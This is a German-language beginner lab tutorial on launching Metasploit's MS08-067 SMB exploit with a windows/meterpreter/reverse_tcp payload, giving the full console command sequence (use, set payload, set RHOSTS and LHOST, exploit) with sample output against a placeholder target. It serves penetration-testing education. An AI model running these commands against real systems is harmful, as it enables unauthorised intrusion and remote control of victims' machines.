Reverse Shell Payload in Metasploit verwenden

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie die grundlegenden Schritte zur Verwendung eines Reverse-Shell-Payloads innerhalb des Metasploit Frameworks. Metasploit ist ein leistungsstarkes Penetration-Testing-Tool, das über eine riesige Bibliothek von Exploits, Payloads und Hilfsmodulen verfügt.

Ein "Payload" ist der Code, der auf dem Zielsystem ausgeführt wird, nachdem ein Exploit es erfolgreich kompromittiert hat. Eine "Reverse Shell" ist eine Art von Payload, bei der die kompromittierte Zielmaschine eine Verbindung zurück zur Angreifer-Maschine initiiert. Diese Technik wird häufig verwendet, um Firewalls zu umgehen, die eingehende Verbindungen zum Ziel blockieren, aber ausgehende Verbindungen zulassen.

Wir werden den Payload windows/meterpreter/reverse_tcp verwenden. Meterpreter ist ein fortschrittlicher, funktionsreicher Payload, der eine interaktive Shell bereitstellt und es dem Angreifer ermöglicht, Befehle auszuführen, Dateien hoch- und herunterzuladen und viele andere Post-Exploitation-Aktivitäten durchzuführen.

Am Ende dieses Labs werden Sie den Workflow für die Auswahl eines Exploits, die Konfiguration eines Reverse-Shell-Payloads und den Start des Angriffs verstehen.

Auswahl eines Exploit-Moduls für ein Ziel

In diesem Schritt starten wir die Metasploit Framework-Konsole und wählen ein Exploit-Modul aus. Ein Exploit ist ein Code-Schnipsel, der eine spezifische Schwachstelle in einem System ausnutzt. Für dieses Lab verwenden wir aus pädagogischen Gründen einen bekannten Exploit.

Öffnen Sie zunächst ein Terminal auf Ihrem Desktop.

Starten Sie nun die Metasploit-Konsole. Wir verwenden das Flag -q für einen "ruhigen" Start, der das Startbanner unterdrückt.

msfconsole -q

Sobald Metasploit geladen ist, sehen Sie die Eingabeaufforderung msf6 >. Dies ist die Befehlszeilenschnittstelle von Metasploit.

Unser nächster Schritt ist die Auswahl eines Exploits. Wir verwenden den Befehl use, gefolgt vom Namen des Exploit-Moduls. Für dieses Lab werden wir die MS08-067-Schwachstelle anvisieren, einen klassischen und zuverlässigen Exploit für ältere Windows-Systeme.

Geben Sie den folgenden Befehl in die Eingabeaufforderung msf6 > ein:

use exploit/windows/smb/ms08_067_netapi

Nachdem Sie Enter gedrückt haben, werden Sie feststellen, dass sich die Eingabeaufforderung ändert. Sie enthält nun den Namen des ausgewählten Exploits, was darauf hinweist, dass Sie sich im Kontext dieses Moduls befinden.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Sie haben nun erfolgreich ein Exploit-Modul ausgewählt und sind bereit, es zu konfigurieren.

Festlegen des Payloads auf windows/meterpreter/reverse_tcp

In diesem Schritt legen Sie den Payload für den ausgewählten Exploit fest. Ein Payload ist der Code, der auf der Zielmaschine ausgeführt wird, nachdem der Exploit erfolgreich war. Wie in der Einleitung erwähnt, werden wir einen Reverse-TCP-Meterpreter-Payload verwenden.

Metasploit hat möglicherweise standardmäßig diesen Payload ausgewählt, als Sie den Exploit ausgewählt haben (wie in der Ausgabe des vorherigen Schritts zu sehen war), aber es ist eine gute Praxis, ihn explizit festzulegen, um sicherzustellen, dass der richtige Payload konfiguriert ist.

Verwenden Sie in der Eingabeaufforderung msf6 exploit(windows/smb/ms08_067_netapi) > den Befehl set payload:

set payload windows/meterpreter/reverse_tcp

Nachdem Sie den Befehl ausgeführt haben, wird Metasploit die Änderung bestätigen.

payload => windows/meterpreter/reverse_tcp

Um alle Optionen anzuzeigen, die Sie für den ausgewählten Exploit und Payload konfigurieren können, können Sie den Befehl show options verwenden. Dies ist ein sehr nützlicher Befehl, um zu sehen, welche Parameter vor dem Start eines Angriffs erforderlich sind.

show options

Sie sehen eine Liste von Moduloptionen, Payload-Optionen und Exploit-Zielen. Beachten Sie die Optionen RHOSTS und LHOST, die wir in den nächsten Schritten konfigurieren werden.

Festlegen der RHOSTS-Option für den Exploit

In diesem Schritt konfigurieren wir die Option RHOSTS. RHOSTS steht für "Remote Host(s)" und gibt die IP-Adresse des Zielcomputers an, den Sie angreifen möchten.

Damit ein Exploit funktioniert, müssen Sie Metasploit mitteilen, wohin er gesendet werden soll. Der Befehl set wird verwendet, um diese Optionen zu konfigurieren.

In einem realen Szenario hätten Sie die IP-Adresse eines Ziels durch Aufklärung ermittelt. Für dieses Lab verwenden wir eine Platzhalter-IP-Adresse.

Setzen Sie in der Eingabeaufforderung msf6 exploit(...) > die RHOSTS auf 10.0.2.15.

set RHOSTS 10.0.2.15

Metasploit wird bestätigen, dass die Option RHOSTS gesetzt wurde.

RHOSTS => 10.0.2.15

Sie haben Metasploit nun mitgeteilt, welchen Computer es anvisieren soll.

Festlegen der LHOST-Option auf Ihre Kali-IP-Adresse

In diesem Schritt legen wir die Option LHOST fest. LHOST steht für "Local Host" und muss auf die IP-Adresse Ihres Rechners (des Angreifer-Rechners) gesetzt werden. Dies ist ein entscheidender Schritt für eine Reverse Shell, da er dem kompromittierten Ziel mitteilt, wohin es sich zurückverbinden soll.

Um die IP-Adresse Ihres Rechners zu ermitteln, müssen Sie ein neues Terminalfenster öffnen. Schließen Sie Ihr bestehendes msfconsole-Terminal nicht. Sie können ein neues Terminal über das Anwendungsmenü öffnen.

Führen Sie im neuen Terminal den folgenden Befehl aus, um Ihre Netzwerkschnittstelleninformationen anzuzeigen:

ip addr show eth0

Sie sehen eine Ausgabe, die dieser ähnelt. Suchen Sie nach der inet-Adresse, das ist Ihre IP.

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Im obigen Beispiel ist die IP-Adresse 172.17.0.2. Notieren Sie sich Ihre IP-Adresse.

Wechseln Sie nun zurück zu Ihrem ursprünglichen Terminal mit der msfconsole-Eingabeaufforderung. Verwenden Sie den Befehl set, um LHOST mit der gerade ermittelten IP-Adresse zu konfigurieren. Ersetzen Sie YOUR_IP_ADDRESS durch Ihre tatsächliche IP.

set LHOST YOUR_IP_ADDRESS

Wenn Ihre IP beispielsweise 172.17.0.2 wäre, würde der Befehl lauten:

set LHOST 172.17.0.2

Metasploit wird die Einstellung bestätigen:

LHOST => 172.17.0.2

Alle erforderlichen Optionen sind nun konfiguriert.

Ausführen des Exploits und Warten auf die Rückverbindung des Ziels

In diesem Schritt, nachdem alle Optionen konfiguriert wurden, starten Sie den Exploit.

Der Befehl exploit (oder sein Alias run) weist Metasploit an, den Listener für die Rückverbindung zu starten und dann den Exploit an das in RHOSTS angegebene Ziel zu senden.

Geben Sie in der Eingabeaufforderung msf6 exploit(...) > Folgendes ein:

exploit

Metasploit wird nun versuchen, den Exploit gegen das Ziel auszuführen. Sie sehen eine Ausgabe wie diese:

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

Wichtig: In dieser Laborumgebung schlägt der Exploit fehl, da unter der Platzhalter-IP-Adresse 10.0.2.15 keine tatsächlich anfällige Maschine vorhanden ist. Die Ausgabe "Exploit completed, but no session was created" ist erwartet.

Wenn es sich um ein echtes, anfälliges Ziel handeln würde und der Exploit erfolgreich wäre, würden Sie eine Meldung wie "Meterpreter session 1 opened" sehen und Ihre Eingabeaufforderung würde sich zu meterpreter > ändern, was Ihnen die volle Kontrolle über das Ziel gibt.

Damit ist der Prozess der Konfiguration und des Starts eines Exploits mit einem Reverse-Shell-Payload abgeschlossen. Um Metasploit zu beenden, geben Sie exit ein.

exit

Zusammenfassung

In diesem Labor haben Sie den grundlegenden Workflow für die Verwendung eines Reverse-Shell-Payloads im Metasploit Framework kennengelernt.

Sie haben die folgenden wichtigen Schritte geübt:

  1. Starten der Metasploit-Konsole (msfconsole).
  2. Auswählen eines Exploit-Moduls mit dem Befehl use.
  3. Festlegen eines Payloads mit dem Befehl set payload.
  4. Konfigurieren der erforderlichen Optionen, insbesondere RHOSTS (das Ziel) und LHOST (Ihre Listener-IP).
  5. Starten des Angriffs mit dem Befehl exploit.

Sie haben auch den entscheidenden Unterschied zwischen RHOSTS und LHOST gelernt und warum die korrekte Einstellung von LHOST für den Erfolg einer Reverse Shell unerlässlich ist. Obwohl der Exploit in dieser simulierten Umgebung nicht zu einer Sitzung führte, haben Sie erfolgreich alle Befehle ausgeführt, die für einen realen Angriff erforderlich sind. Herzlichen Glückwunsch zum Abschluss des Labors!